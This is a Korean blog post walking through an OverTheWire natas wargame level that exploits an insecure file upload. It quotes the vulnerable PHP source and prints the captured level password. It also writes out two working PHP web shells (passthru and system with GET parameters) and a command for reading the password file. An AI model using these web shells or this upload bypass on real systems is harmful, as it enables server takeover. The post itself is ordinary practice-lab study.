Over the Wire/natas

[OvertheWire:natas] natas 11 → 12

ruming 2021. 5. 23. 20:43

JPEG 파일을 업로드하라고 한다. max size도 지정이 되어있다.

 

아무 txt파일이나 올려봤는데 jpg파일로 올라갔다고 한다. 

소스코드부터 보자.

...

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

 

getRandomString 함수로 숫자와 알파벳 사이에서 랜덤으로 문자를 뽑아 10자로 string을 만든다.

makeRandomPath 함수는 파일이 존재하는지 확인하고 랜덤스트링에 path를 만들어준다.

 

파일 사이즈는 1000으로 제한되어있고, 랜덤스트링으로 10자.jpg로 업로드하는 것을 볼 수가 있다.

 

비밀번호가 있는 위치를 보여주는 php파일을 만들어서 업로드했다.

php파일로 올라가도록 파라미터를 좀 조작했다.

 

해당 링크를 들어가니 바로 비밀번호가 나왔다.

 

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

 

 

더보기

웹쉘 공격은 처음이라 다른 방법도 좀 찾아보았다.

 

우선 php파일을 넘기는 건 똑같은데, 그 내용이 공격하는 거에 따라 조금씩 다르다.

<html>
<?php
$data = "";
$data = $_GET['data'];
passthru("$data");
?>
</html>

https://leekeezz.tistory.com/76

해당 링크에서 가져온 php코드이다. Get방식으로 명령어를 받아 passthru 함수를 통해 결과를 출력받는다.

 

업로드했을 때 php문법오류가 나길래 실패한건가 했는데 명령어를 입력하니 비밀번호는 잘 나왔다. 

 data=cat /etc/natas_webpass/natas13

 그리고 개발자 도구에서도 php파일로 바꿔서 올릴 수가 있었다. 더 간편한 것 같다.

 

<?php SYSTEM($_GET['cmd']) ?>

 해당 코드는 아래의 링크에서 가져왔다.

https://moaimoai.tistory.com/286

 

 같은 방법으로 업로드를 해준다. 

마찬가지로 ?뒤에 cmd=ls를 해줬고 버프슈트에서 해당부분에

 이렇게 인자를 전달해주니 비밀번호가 잘 나왔다.

 

 

'Over the Wire > natas' 카테고리의 다른 글

[OvertheWire : natas] level 13 → 14  (0) 2021.05.29
[OvertheWire:natas] level 12 → 13  (0) 2021.05.23
[OvertheWire:natas] natas 10 → 11  (0) 2021.05.18
[OvertheWire:natas] level 9 → 10  (0) 2021.05.16
[natas] level 8 → 9  (0) 2021.05.09